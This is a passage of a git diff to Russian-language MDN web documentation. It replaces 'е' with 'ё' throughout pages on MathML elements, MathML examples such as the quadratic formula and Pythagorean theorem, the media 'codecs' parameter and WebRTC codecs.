создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:</p> <pre> mk4ht mzlatex foo.tex # Linux/Mac platforms mzlatex foo.tex # Windows platform @@ -280,10 +280,10 @@ sudo make install <p>Заметим, что <a href="https://github.com/michal-h21/tex4ebook">tex4ebook</a> опирается на TeX4ht для создания документов EPUB.</p> -<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это еще один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">видео-руководство</a>. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:</p> +<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это ещё один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">видео-руководство</a>. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:</p> -<pre> latexmlc --dest foo.html foo.tex # Создает HTML5 документ foo.html - latexmlc --dest foo.epub foo.tex # Создает EPUB документ foo.epub</pre> +<pre> latexmlc --dest foo.html foo.tex # Создаёт HTML5 документ foo.html + latexmlc --dest foo.epub foo.tex # Создаёт EPUB документ foo.epub</pre> <p>В случаях с браузерами без поддержки MathML, вы можете использовать параметр <code>--javascript</code>, чтобы сообщить LaTeXML о включении одного из <a href="#Fallback_for_Browsers_without_MathML_support">дополнительных скриптов</a>:</p> @@ -330,7 +330,7 @@ sudo make install <p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p> -<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как <code>a+2</code>, автоматически парсится и создается соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть ее в Mozilla.</p> +<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как <code>a+2</code>, автоматически парсится и создаётся соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть её в Mozilla.</p> <h2 id="Распознавание_видимых_символов_и_рукописного_текста">Распознавание видимых символов и рукописного текста</h2> diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html index 6d60735b70..085ea66f3b 100644 --- a/files/ru/web/mathml/element/maction/index.html +++ b/files/ru/web/mathml/element/maction/index.html @@ -11,7 +11,7 @@ translation_of: Web/MathML/Element/maction <div>{{MathMLRef}}</div> <div class="summary"> -<p>Элемент MathML <strong><code><maction></code></strong> обеспечивает возможность связать действия с (под-) выражениями. Само действие задается с помощью атрибута<code>actiontype</code>, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут <code>selection</code>.</p> +<p>Элемент MathML <strong><code><maction></code></strong> обеспечивает возможность связать действия с (под-) выражениями. Само действие задаётся с помощью атрибута<code>actiontype</code>, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут <code>selection</code>.</p> </div> <h2 id="Атрибуты">Атрибуты</h2> @@ -20,7 +20,7 @@ translation_of: Web/MathML/Element/maction <dt id="attr-actiontype">actiontype</dt> <dd>Действие, которое устанавливает, что происходит с этим элементом. Возможные значения: <ul> - <li><code>statusline</code>: Если кликнуть на <em>выражении (expression)</em> или читатель наведет курсор на него, <em>сообщение (message)</em> будет отправлено в строку состояния браузера. Синтаксис: <code><maction actiontype="statusline"> <em>expression</em> <em>message</em> </maction>.</code></li> + <li><code>statusline</code>: Если кликнуть на <em>выражении (expression)</em> или читатель наведёт курсор на него, <em>сообщение (message)</em> будет отправлено в строку состояния браузера. Синтаксис: <code><maction actiontype="statusline"> <em>expression</em> <em>message</em> </maction>.</code></li> <li><code>toggle</code>: Если кликнуть на подвыражении, рендеринг чередует отображение выбранных подвыражений. Поэтому с каждым кликом <code>выбираемое</code> значение меняется на следующее.<br> Синтаксис: <code><maction actiontype="toggle" selection="<em>positive-integer</em>" > <em>expression1</em> <em>expression2</em> <em>expressionN</em> </maction></code>.</li> <li><code>tooltip</code>: Когда указатель перемещается над <em>выражением (expression)</em>, рядом с выражением отображается всплывающая подсказка с <em>сообщением (message)</em>.<br> diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html index b8c2c3238b..296daf9c32 100644 --- a/files/ru/web/mathml/element/math/index.html +++ b/files/ru/web/mathml/element/math/index.html @@ -26,18 +26,18 @@ translation_of: Web/MathML/Element/math <dd><span class="notranslate">Этот атрибут определяет способ вывода.</span> Возможные <span class="notranslate">значения:</span> <ul> <li><span class="notranslate"><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li> - <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из нее без изменения значения этого текста.</span></li> + <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.</span></li> </ul> <p><span class="notranslate">Значение по умолчанию <code>inline</code> .</span></p> </dd> - <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все еще работают."> + <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все ещё работают."> <i class="icon-thumbs-down-alt"></i> </span></dt> <dd><span class="notranslate">Устаревшие значение </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br> <span class="notranslate">Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd> <dt id="attr-overflow">overflow</dt> - <dd><span class="notranslate">Определяет, как выражение ведет себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> + <dd><span class="notranslate">Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br> <span class="notranslate">Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd> </dl> diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html index 79c4c83179..45db068c2d 100644 --- a/files/ru/web/mathml/element/menclose/index.html +++ b/files/ru/web/mathml/element/menclose/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/menclose --- <div>{{MathMLRef}}</div> -<p class="summary">Элемент MathML <code><menclose></code> отображает свое содержимое во вложенной нотации, указанной атрибутом <code>нотации</code>.</p> +<p class="summary">Элемент MathML <code><menclose></code> отображает своё содержимое во вложенной нотации, указанной атрибутом <code>нотации</code>.</p> <h2 id="Атрибуты">Атрибуты</h2> @@ -24,7 +24,7 @@ translation_of: Web/MathML/Element/menclose <dt id="attr-mathcolor">mathcolor</dt> <dd>Цвет текста. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">HTML-имена цветов</a>.</dd> <dt id="attr-notation">notation</dt> - <dd>Список нотаций, разделенных пробелами, применяемых к дочерним элементам. Изображенные символы могут перекрываться. Возможные значения: + <dd>Список нотаций, разделённых пробелами, применяемых к дочерним элементам. Изображённые символы могут перекрываться. Возможные значения: <table class="standard-table"> <tbody> <tr> @@ -61,7 +61,7 @@ translation_of: Web/MathML/Element/menclose <td><code>roundedbox</code></td> <td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td> <td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>прямоугольник с закругленными вершинами</td> + <td>прямоугольник с закруглёнными вершинами</td> </tr> <tr> <td><code>circle</code></td> @@ -97,25 +97,25 @@ translation_of: Web/MathML/Element/menclose <td><code>updiagonalstrike</code></td> <td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td> <td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>линия, перечеркивающая содержимое от левого низа до правого верха</td> + <td>линия, перечёркивающая содержимое от левого низа до правого верха</td> </tr> <tr> <td><code>downdiagonalstrike</code></td> <td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td> <td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>линия, перечеркивающая содержимое от левого верха до правого низа</td> + <td>линия, перечёркивающая содержимое от левого верха до правого низа</td> </tr> <tr> <td><code>verticalstrike</code></td> <td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td> <td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>вертикальная линия, зачеркивающая содержимое</td> + <td>вертикальная линия, зачёркивающая содержимое</td> </tr> <tr> <td><code>horizontalstrike</code></td> <td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td> <td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td> - <td>горизонтальная линия, зачеркивающая содержимое</td> + <td>горизонтальная линия, зачёркивающая содержимое</td> </tr> <tr> <td><code>madruwb</code></td> diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html index 78db2d09bd..c10046e96b 100644 --- a/files/ru/web/mathml/element/merror/index.html +++ b/files/ru/web/mathml/element/merror/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/merror --- <div>{{MathMLRef}}</div> -<p class="summary">Элемент MathML <code><merror></code> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка <strong>не</strong> выдается, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <code><merror></code>.</p> +<p class="summary">Элемент MathML <code><merror></code> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка <strong>не</strong> выдаётся, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <code><merror></code>.</p> <h2 id="Атрибуты">Атрибуты</h2> diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html index bbc4005440..d047636c21 100644 --- a/files/ru/web/mathml/element/mover/index.html +++ b/files/ru/web/mathml/element/mover/index.html @@ -22,7 +22,7 @@ translation_of: Web/MathML/Element/mover Если установлено <code>false</code> (по умолчанию) over-script <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>это <em>ограничение</em> по базовому выражению.</span></span></span></dd> <dt id="attr-align">align {{deprecated_inline}}</dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Выравнивание над сценарием.</span></span></span> Возможные значения: <code>left</code>, <code>center</code>, и <code>right</code>.<br> - <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Этот атрибут устарел и будет удален в будущем</span></span></span>. Вместо этого используйте CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd> + <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Этот атрибут устарел и будет удалён в будущем</span></span></span>. Вместо этого используйте CSS <code><a href="https://developer.mozilla.org/ru/docs/Web/CSS/text-align">text-align</a></code>.</dd> <dt id="attr-class-id-style">class, id, style</dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Предусмотрено для использования с</span></span></span> <a href="/ru/docs/Web/CSS">таблицами стилей</a>.</dd> <dt id="attr-displaystyle"><code>displaystyle</code></dt> diff --git a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html index 20ecb0b6a6..1b3016bca9 100644 --- a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html +++ b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html @@ -14,6 +14,6 @@ original_slug: Web/MathML/Примеры/Deriving_the_Quadratic_Formula --- <p><span class="seoSummary">На этой странице описывается вывод Квадратичной Формулы.</span></p> -<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Мы берем квадратное уравнение в его общем виде и решаем для х:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p> +<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Мы берём квадратное уравнение в его общем виде и решаем для х:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p> <p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow> <mi>a</mi> <mo></mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo></mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo></mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo></mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo></mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Делим на главный коэффициент.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo></mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Дополняем до квадрата.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Получен дискриминант.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Это основная формула.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p> diff --git a/files/ru/web/mathml/examples/index.html b/files/ru/web/mathml/examples/index.html index da9fd7af37..021f28be4b 100644 --- a/files/ru/web/mathml/examples/index.html +++ b/files/ru/web/mathml/examples/index.html @@ -9,7 +9,7 @@ tags: translation_of: Web/MathML/Examples original_slug: Web/MathML/Примеры --- -<p><span class="translation-chunk">Ниже Вы найдете некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.</span></p> +<p><span class="translation-chunk">Ниже Вы найдёте некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.</span></p> <dl> <dt><a href="/ru-RU/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem">Теорема Пифагора</a></dt> diff --git a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html index d3a140ec77..ee163d6e66 100644 --- a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html +++ b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html @@ -21,7 +21,7 @@ original_slug: Web/MathML/Примеры/MathML_Pythagorean_Theorem <p>То есть, если <math><semantics><mi>a</mi><annotation encoding="TeX">a</annotation></semantics></math> и <math><semantics><mi>b</mi><annotation encoding="TeX">b</annotation></semantics></math> - катеты, а <math><semantics><mi>c</mi><annotation encoding="TeX">c</annotation></semantics></math> - гипотенуза, то <math><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation encoding="TeX">a^2 + b^2 = c^2</annotation></semantics></math>.</p> -<p><strong><u>Доказательство:</u></strong> Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырех треугольников:</p> +<p><strong><u>Доказательство:</u></strong> Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырёх треугольников:</p> <p><math><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup><mo>+</mo><mn>4</mn><mo>⋅</mo><mrow><mo>(</mo><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>⋅</mo><mi>a</mi><mi>b</mi></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right) </annotation></semantics></math></p> diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html index 284e64c550..4609de3553 100644 --- a/files/ru/web/media/formats/codecs_parameter/index.html +++ b/files/ru/web/media/formats/codecs_parameter/index.html @@ -1,5 +1,5 @@ --- -title: Параметр "codecs" для распространенных типов носителей +title: Параметр "codecs" для распространённых типов носителей slug: Web/Media/Formats/codecs_parameter translation_of: Web/Media/Formats/codecs_parameter --- @@ -15,7 +15,7 @@ translation_of: Web/Media/Formats/codecs_parameter <h2 id="Общий_синтаксис">Общий синтаксис</h2> -<p>Основной медиатип определяется установкой строкового значения (<code>audio</code>, <code>video</code>, и т.д.), после которого идет символ слеша (<code>/</code>), затем указывается формат контейнера, который будет содержать информацию:</p> +<p>Основной медиатип определяется установкой строкового значения (<code>audio</code>, <code>video</code>, и т.д.), после которого идёт символ слеша (<code>/</code>), затем указывается формат контейнера, который будет содержать информацию:</p> <dl> <dt><code>audio/mpeg</code></dt> @@ -41,7 +41,7 @@ translation_of: Web/Media/Formats/codecs_parameter <dd>Файл <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> , содержащий <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) видео, Основной профиль, Уровень 4.2.</dd> </dl> -<p>Как и в случае с любым параметром MIME типа , <code>codecs</code> должен заменяться на <code>codecs*</code> (обратите внимание на символ звездочки, <code>*</code>) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.</p> +<p>Как и в случае с любым параметром MIME типа , <code>codecs</code> должен заменяться на <code>codecs*</code> (обратите внимание на символ звёздочки, <code>*</code>) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.</p> <div class="blockIndicator note"> <p> Когда используется параметр <code>codecs</code>, указанный список кодеков должен включать каждый кодек, используемый для содержимого файла Список также может содержать кодеки, которых нет в файле.</p> diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html index b7c15b90d1..b8fab2ec49 100644 --- a/files/ru/web/media/formats/webrtc_codecs/index.html +++ b/files/ru/web/media/formats/webrtc_codecs/index.html @@ -14,7 +14,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>WebRTC использует объект типа {{domxref("MediaStreamTrack")}} для представления каждого трека, передающегося между узлами соединения без использования контейнера или объекта типа {{domxref("MediaStream")}} , объединяющего треки. Какие кодеки могут быть в этих треках, спецификацией WebRTC не определяется. Однако, {{RFC(7742)}} определяет, что все браузеры, поддерживающие WebRTC, должны поддерживать <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> и <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">H.264</a> ограниченный базовый профиль для видео; и {{RFC(7874)}} , определяющая, что браузеры должны поддерживать, по меньшей мере, кодеки <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a> и <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711</a> форматов PCMA и PCMU.</p> -<p>Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определенные функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.</p> +<p>Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определённые функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.</p> <p>Хоть сжатие всегда и необходимо при работе со средствами массовой информации в Интернете, оно имеет дополнительное значение при проведении видеоконференций, чтобы участники могли общаться без задержек и перерывов. Второстепенное значение имеет необходимость синхронизации видео и звука, чтобы движения и любая вспомогательная информация (например, слайды или проекция) были представлены одновременно с соответствующим звуком</p> @@ -24,7 +24,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Если {{Glossary ("SDP")}} специально не указывает иное, веб-браузер, принимающий видеопоток WebRTC, должен иметь возможность обрабатывать видео со скоростью не менее 20 кадров в секунду при минимальном разрешении 320 пикселей в ширину и 240 пикселей в высоту. Рекомендуется, чтобы видео кодировалось с частотой кадров и размером не ниже этого, поскольку это, по сути, нижняя граница того, что WebRTC обычно должен обрабатывать.</p> -<p>SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путем отправки <code>a=imageattr</code> атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определенные кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.</p> +<p>SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путём отправки <code>a=imageattr</code> атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определённые кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.</p> <h2 id="Поддерживаемые_видео_кодеки">Поддерживаемые видео кодеки</h2> @@ -103,11 +103,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p>Поддержка профиля AVC Constrained Baseline (<code>CB</code>) требуется во всех полностью совместимых реализациях WebRTC. <code>CB</code> является подмножеством основного профиля и специально разработан для приложений с низкой сложностью и малой задержкой, таких как мобильное видео и видеоконференции, а также для платформ с более низкими возможностями обработки видео..</p> -<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">обзор AVC</a> и его функциональности найдете в основном руководстве по видеокодекам.</p> +<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">обзор AVC</a> и его функциональности найдёте в основном руководстве по видеокодекам.</p> <h4 id="Требования_поддержки_специальных_параметров">Требования поддержки специальных параметров</h4> -<p>AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надежность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, 